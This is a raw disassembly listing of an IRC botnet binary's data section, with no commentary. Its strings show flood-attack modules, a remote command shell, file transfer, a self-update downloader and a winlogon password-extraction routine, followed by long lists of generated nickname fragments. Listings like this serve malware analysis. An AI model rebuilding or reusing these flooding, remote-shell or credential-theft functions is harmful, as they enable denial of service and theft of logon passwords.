6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_437314 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_4143AC+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_437704 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415C76+35o dword_437718 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415C76+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415CEE+60o align 10h dword_437750 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415D8E:loc_415DC3o dword_437764 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415D8E+20o dword_437778 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415EDDo dd 6574656Ch, 0 dword_437794 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:00415E40o dd 676E6974h, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437814 db 2Dh ; - ; DATA XREF: ___:00416274o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_437838 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:004164D9o ; ___:0041666Fo dd 726F72h unk_437850 db 2Dh ; - ; DATA XREF: ___:00416471o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_43787C db 2Dh ; - ; DATA XREF: ___:00416379o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_4378A0 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00416342o dd 74756Fh dword_4378B8 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:004162E1o dd 169h unk_4378D0 db 2Dh ; - ; DATA XREF: ___:0041629Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_4378F0 db 2Dh ; - ; DATA XREF: ___:004161F9o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437914 db 2Dh ; - ; DATA XREF: ___:004161BBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_437938 db 2Dh ; - ; DATA XREF: ___:004166E8o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_437964 db 2Dh ; - ; DATA XREF: ___:004165E4o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_437984 db 2Dh ; - ; DATA XREF: ___:004165C4o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:004165B0o unk_4379B4 db 2Dh ; - ; DATA XREF: ___:0041659Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_4379E4 db 2Dh ; - ; DATA XREF: ___:00416BE7o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437A10 db 2Dh ; - ; DATA XREF: ___:00416BD9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_437A44 db 2Dh ; - ; DATA XREF: ___:00416B1Do db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_437A88 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416AACo dd 25206465h, 73h unk_437AA4 db 2Dh ; - ; DATA XREF: ___:00416A35o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_437ADC db 2Dh ; - ; DATA XREF: ___:004169B6o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437B04 db 2Dh ; - ; DATA XREF: ___:0041692Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_437B30 db 2Dh ; - ; DATA XREF: ___:004168E9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_437B58 db 2Dh ; - ; DATA XREF: ___:004168D7o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_437B80 db 2Dh ; - ; DATA XREF: ___:004167CBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_416CFC:loc_416D3Fo ; sub_4193FF+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_416CFC:loc_416D39o aDisk db 'Disk',0 ; DATA XREF: sub_416CFC:loc_416D33o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_416CFC:loc_416D2Do aCdrom db 'Cdrom',0 ; DATA XREF: sub_416CFC:loc_416D27o align 10h off_437BD0 dd offset word_4D4152 ; DATA XREF: sub_416CFC:loc_416D21o word_437BD4 dw 3Fh ; DATA XREF: sub_416CFC+1Fo ; sub_41AF2B:loc_41B02Dr align 4 aFailed db 'failed',0 ; DATA XREF: sub_416D8D:loc_416E65o ; sub_416EA8+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416D8D+6Bo align 4 unk_437BE8 db 2Dh ; - ; DATA XREF: sub_416EA8+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437C24 db 2Dh ; - ; DATA XREF: sub_416EA8+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416F7A:loc_416FBFo db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437CD0 db 2Dh ; - ; DATA XREF: sub_417269:loc_4173E2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_437D04 db 2Dh ; - ; DATA XREF: sub_417269:loc_4173B5o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_437D30 db 2Dh ; - ; DATA XREF: sub_417269:loc_4173AEo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_437D68 db 2Dh ; - ; DATA XREF: sub_417269+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437DC4 dd offset byte_530055 ; DATA XREF: sub_417269+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004A+3 dd offset aHL ; "h$пl" dd 0 off_437DDC dd offset byte_530055 ; DATA XREF: sub_417269+CEo dd offset byte_520045 dd offset loc_41004A+4 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417269+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417269+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417269+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417269+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417269+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_417269+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_417269+40o ; sub_417269+161o ... align 10h unk_437EA0 db 2Dh ; - ; DATA XREF: sub_417269+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_41743B+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_41743B+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_41743B+AFo align 4 dword_437EEC dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4178A1+70o ; sub_417938+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437F3C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417938+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437F90 dd offset aQ ; DATA XREF: sub_417E35+5Cr ; "q" ; --------------------------------------------------------------------------- inc eax mov eax, [ebx+0] mov [ecx-394FFFBEh], dh inc edx add [esi+eax*8], ch inc edx add [ebx+ecx*4], bh inc ebx add ah, dl scasd inc edx add [eax-4FFFBD3Ah], al scasd inc edx add [eax], bl mov dl, 42h add [eax+380042C6h], cl mov eax, [ebx+0] xor al, 8Bh inc ebx add [eax], dh mov eax, [ebx+0] sub al, 8Bh inc ebx add [eax+680042B7h], al mov bh, 42h add [eax], ch mov eax, [ebx+0] and al, 8Bh inc ebx add [eax], ah mov eax, [ebx+0] cld retf 42h ; --------------------------------------------------------------------------- dd offset aV ; "v" dd offset dword_438B1C dd offset aN ; "n" dd offset aM ; "m" dd offset dword_438B18 dd offset dword_438B14 dd offset dword_438B10 dd offset dword_438B0C dd offset dword_438B08 dd offset word_438B04 dd offset dword_438B00 dd offset aI_0 ; "I" dd offset dword_438AFC dd offset dword_438AF8 dd offset aA_0 ; "A" dd offset dword_438AF4 dd offset dword_438AF0 dd offset dword_438AEC dd offset dword_438AE8 dd offset dword_438AE4 dd offset dword_438AE0 dd offset dword_438ADC dd offset dword_438AD8 dd offset dword_438AD4 dd offset dword_438AD0 dd offset dword_438ACC dd offset dword_438AC8 dd offset dword_438AC4 dd offset word_438AC0 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_438858 dd offset off_438854 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_4386C0 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" ; --------------------------------------------------------------------------- aam 85h inc ebx add al, cl test [ebx+0], eax rol byte ptr [ebp-7A4BFFBDh], 43h loc_43828B: ; DATA XREF: sub_417E35+41r ; sub_417E35+ECr add [eax-0BFFBC7Bh], ch xchg eax, ebp inc edx add [ebp+eax*4-7A5FFFBDh], ah inc ebx add [eax-6BFFBC7Bh], bl test [ebx+0], eax nop test [ebx+0], eax mov [ebp-7A7FFFBDh], al inc ebx add [eax-7Bh], bh inc ebx add [eax-7Bh], dh inc ebx add [eax-7Bh], ch inc ebx add [eax-7Bh], ah inc ebx add [eax-7Bh], bl inc ebx add [eax-7Bh], dl inc ebx add [ebp+eax*4+43h], al add ds:85340043h[eax*4], bh inc ebx add [eax], dh test [ebx+0], eax sub [ebp-74E3FFBDh], al inc ebx add ah, bh retf 42h ; --------------------------------------------------------------------------- dd offset dword_438B38 dd offset aE ; "e" dd offset dword_438B34 dd offset dword_438B30 dd offset dword_438B2C dd offset aI ; "i" dd offset dword_42B938 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_438B28 dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_438B40 dd offset dword_438B20 dd offset dword_438B3C dd offset dword_438B24 dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_438B24 dd offset dword_438B30 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_4384E0 dd offset aBbl ; "|bbl" dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset a___0 ; "_|_" dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset dword_438AEC dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438B1C dd offset byte_43B4B8 dd offset aSleeping ; "Sleeping" dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset dword_438AD0 dd offset byte_43B4B8 dd offset off_4384A0 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_438460 dd offset dword_43845C dd offset dword_438454 dd offset dword_438448 dd offset dword_438440 dd offset dword_438438 dd offset dword_438430 dd offset dword_43842C dd offset dword_438428 dword_438428 dd 7536h ; DATA XREF: ___:00438424o dword_43842C dd 7535h ; DATA XREF: ___:00438420o dword_438430 dd 7C75347Ch, 0 ; DATA XREF: ___:0043841Co dword_438438 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438418o dword_438440 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438414o dword_438448 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438410o dword_438454 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043840Co dword_43845C dd 6C6F6Ch ; DATA XREF: ___:00438408o dword_438460 dd 746F74h ; DATA XREF: ___:00438404o aMofo db 'mofo',0 ; DATA XREF: ___:00438400o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:004383FCo align 4 aMuha db 'muha',0 ; DATA XREF: ___:004383F8o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:004383F4o align 4 aAha db 'aha',0 ; DATA XREF: ___:004383F0o aShit db 'shit',0 ; DATA XREF: ___:004383ECo align 10h aGurl db 'gurl',0 ; DATA XREF: ___:004383E8o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: ___:004383E4o align 10h off_4384A0 dd offset word_594F42 ; DATA XREF: ___:004383E0o aFree db 'Free',0 ; DATA XREF: ___:004383CCo align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: ___:004383C8o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:004383BCo align 10h aF_2 db '^^^f^',0 ; DATA XREF: ___:004383B0o align 4 aSad db 'Sad',0 ; DATA XREF: ___:004383ACo aLuvu db 'LUVU',0 ; DATA XREF: ___:004383A8o align 4 a___0 db '_|_',0 ; DATA XREF: ___:0043838Co aBbl db '|bbl',0 ; DATA XREF: ___:00438380o align 10h off_4384E0 dd offset loc_425241+1 ; DATA XREF: ___:0043837Co aMuckc db 'muckc',0 ; DATA XREF: ___:00438368o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00438364o align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00438360o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:0043835Co align 4 aUi db 'ui',0 ; DATA XREF: ___:00438358o align 4 aSdf db 'sdf',0 ; DATA XREF: ___:00438354o aRt db 'rt',0 ; DATA XREF: ___:00438350o align 10h aGf db 'gf',0 ; DATA XREF: ___:0043834Co align 4 aTy db 'ty',0 ; DATA XREF: ___:00438348o align 4 aRg db 'rg',0 ; DATA XREF: ___:00438344o align 4 aHappy db 'happy',0 ; DATA XREF: ___:00438340o align 4 aRs db 'rs',0 ; DATA XREF: ___:00438320o align 4 aQ8A db '|q8|a',0 align 10h aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 10h aGens db '{gens|',0 align 4 aSex_0 db '{sex}',0 align 10h aHub db '{hub}',0 align 4 aLuck db '|luck|',0 align 10h aSuck db '|suck|',0 align 4 aTot db '-|tot|',0 align 10h aWoh db '|woh|',0 align 4 aTambe db '|tambe|',0 aLag db 'lag',0 aBad db 'bad',0 aTree db 'tree',0 align 10h aZex db 'zex',0 aLez db 'lez',0 aWantedlove db 'WANTEDLOVE',0 align 4 aCumhur29 db 'cumhur29',0 align 10h aAdamm db 'ADAMM',0 align 4 